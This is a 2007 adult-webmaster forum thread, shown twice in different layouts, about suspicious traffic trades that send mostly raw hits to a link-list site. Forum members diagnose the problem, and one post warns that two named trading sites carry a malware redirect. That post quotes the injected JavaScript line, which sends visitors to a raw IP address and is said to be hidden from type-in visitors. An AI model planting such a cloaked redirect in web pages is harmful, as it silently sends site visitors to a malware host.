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c-lo · 05-01-2007, 03:31 PM

Protect-x says the trades for my TGP are fine but my traffic prod on other sites has gone down dramatically since I added a couple big trades. There are really no signs that the 2 new trades are cheating other than the fact that my traffic's prod on other sites has decreased and that the 2 sites prod seems to correlate.

By this I mean that when one site has fair prod for the day, the other does too...and when one's prod is high, so is the other. I've seen it go from 85% prod to 180% and they're always within 10-15% of each other. It's done this for about a month now.

I really don't think the problem is my site or my traffic, though...because my site gets a couple thousand uniques a day from the SEs and last I checked they were about the most productive of all adult traffic.

My skim was at 60%, but about 2 months ago I raised it to 70-75% and it apparently hasn't done shit for my trades. I'm only getting around 50% returns from them, and sometimes as low as 25%. Soooo what the fuck is the problem here? Am I being cheated with hitbots or something? I'm using SmartTrafficTrader btw.

Thanks,
c-lo

Viper2K1 · 05-01-2007, 03:44 PM

perhaps those new large trades are sending you a fair amount of nocookie traffic and you're passing it on to your trades?
do they maybe have (much) lower producitivity on your site than your other trades?
the nocookie traffic gives the trade credit for the hit in, but not for the clicks it produced

c-lo · 05-01-2007, 03:55 PM

Hey Viper thanks for the reply!

It doesn't appear that they are sending nocookie traffic as that is filtered out seperately. They are sending a ton of raw hits however. I should have mentioned that sooner.

(Last 24hr)
Site 1 Uniques In: 1,542 | Raws In: 3,645
Site 2 Uniques In: 1,096 | Raws In: 2,510

Their productivity is actually about the same as the rest of my trades and they usually send about 140-160% of what I send them. Another odd thing is that they are generic thumb sites and mine is a text site and I've never had a trade like this work out well.

Thanks for the help,
c-lo

Viper2K1 · 05-01-2007, 04:31 PM

i'd say kill those trades
normal trades send 80-85% uniques

Quickdraw · 05-01-2007, 04:46 PM

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Code:

>document.location='http://67.19.85.246/in.cgi?000131';

Quickdraw · 05-01-2007, 05:25 PM

P.S. Just going to the sites listed above may not bring the redirect/virus. The code won't appear for typeins..

Quickdraw · 05-01-2007, 05:38 PM

Let me add that this is another reason not to trade with anyone using ESTDOMAINS

c-lo · 05-01-2007, 06:08 PM

Oh fuck, I had typed em in to check em. Thanks Quickdraw, blacklisting now.

later
c-lo

RawAlex · 05-01-2007, 07:24 PM

Always check... if you see ESTDOMAINS in the whois, blacklist them directly. Avoid the hassle.

Quickdraw · 05-02-2007, 08:20 AM

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c-lo · 05-02-2007, 09:13 AM

Alright, I'll check the whois more often. Really appreciate the help, fellas.

later
c-lo

05-01-2007, 03:31 PM	#1
c-lo Confirmed User Join Date: May 2005 Location: On search pages, on ICQ @ 308 7 43669, and in the U.S. Posts: 925	Am I being cheated by trades? Protect-x says the trades for my TGP are fine but my traffic prod on other sites has gone down dramatically since I added a couple big trades. There are really no signs that the 2 new trades are cheating other than the fact that my traffic's prod on other sites has decreased and that the 2 sites prod seems to correlate. By this I mean that when one site has fair prod for the day, the other does too...and when one's prod is high, so is the other. I've seen it go from 85% prod to 180% and they're always within 10-15% of each other. It's done this for about a month now. I really don't think the problem is my site or my traffic, though...because my site gets a couple thousand uniques a day from the SEs and last I checked they were about the most productive of all adult traffic. My skim was at 60%, but about 2 months ago I raised it to 70-75% and it apparently hasn't done shit for my trades. I'm only getting around 50% returns from them, and sometimes as low as 25%. Soooo what the fuck is the problem here? Am I being cheated with hitbots or something? I'm using SmartTrafficTrader btw. Thanks, c-lo __________________ The AlphaPhaze Network Traffic & Hardlink Trades \| Sponsors \| Resources The adult marketing network you can trust Last edited by c-lo; 05-01-2007 at 03:32 PM..

05-01-2007, 03:44 PM	#2
Viper2K1 Confirmed User Industry Role: Join Date: Aug 2001 Posts: 1,006	perhaps those new large trades are sending you a fair amount of nocookie traffic and you're passing it on to your trades? do they maybe have (much) lower producitivity on your site than your other trades? the nocookie traffic gives the trade credit for the hit in, but not for the clicks it produced __________________ Spank me Dude, where's my traffic?

05-01-2007, 03:55 PM	#3
c-lo Confirmed User Join Date: May 2005 Location: On search pages, on ICQ @ 308 7 43669, and in the U.S. Posts: 925	Hey Viper thanks for the reply! It doesn't appear that they are sending nocookie traffic as that is filtered out seperately. They are sending a ton of raw hits however. I should have mentioned that sooner. (Last 24hr) Site 1 Uniques In: 1,542 \| Raws In: 3,645 Site 2 Uniques In: 1,096 \| Raws In: 2,510 Their productivity is actually about the same as the rest of my trades and they usually send about 140-160% of what I send them. Another odd thing is that they are generic thumb sites and mine is a text site and I've never had a trade like this work out well. Thanks for the help, c-lo __________________ The AlphaPhaze Network Traffic & Hardlink Trades \| Sponsors \| Resources The adult marketing network you can trust

05-01-2007, 04:31 PM	#4
Viper2K1 Confirmed User Industry Role: Join Date: Aug 2001 Posts: 1,006	i'd say kill those trades normal trades send 80-85% uniques __________________ Spank me Dude, where's my traffic?

05-01-2007, 04:46 PM	#5
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	Would they happen to be these? Both contain virus/redirect. youngqueens.net tiny-babes.net Code: >document.location='http://67.19.85.246/in.cgi?000131';

05-01-2007, 05:25 PM	#6
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	P.S. Just going to the sites listed above may not bring the redirect/virus. The code won't appear for typeins..

05-01-2007, 05:38 PM	#7
Quickdraw Confirmed User Join Date: Mar 2004 Location: → → → Posts: 1,717	Let me add that this is another reason not to trade with anyone using ESTDOMAINS

05-01-2007, 06:08 PM	#8
c-lo Confirmed User Join Date: May 2005 Location: On search pages, on ICQ @ 308 7 43669, and in the U.S. Posts: 925	Oh fuck, I had typed em in to check em. Thanks Quickdraw, blacklisting now. later c-lo __________________ The AlphaPhaze Network Traffic & Hardlink Trades \| Sponsors \| Resources The adult marketing network you can trust

05-01-2007, 07:24 PM	#9
RawAlex So Fucking Banned Join Date: Oct 2003 Location: In a house. Posts: 9,465	Always check... if you see ESTDOMAINS in the whois, blacklist them directly. Avoid the hassle.

05-02-2007, 08:20 AM	#10
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05-02-2007, 09:13 AM	#11
c-lo Confirmed User Join Date: May 2005 Location: On search pages, on ICQ @ 308 7 43669, and in the U.S. Posts: 925	Alright, I'll check the whois more often. Really appreciate the help, fellas. later c-lo __________________ The AlphaPhaze Network Traffic & Hardlink Trades \| Sponsors \| Resources The adult marketing network you can trust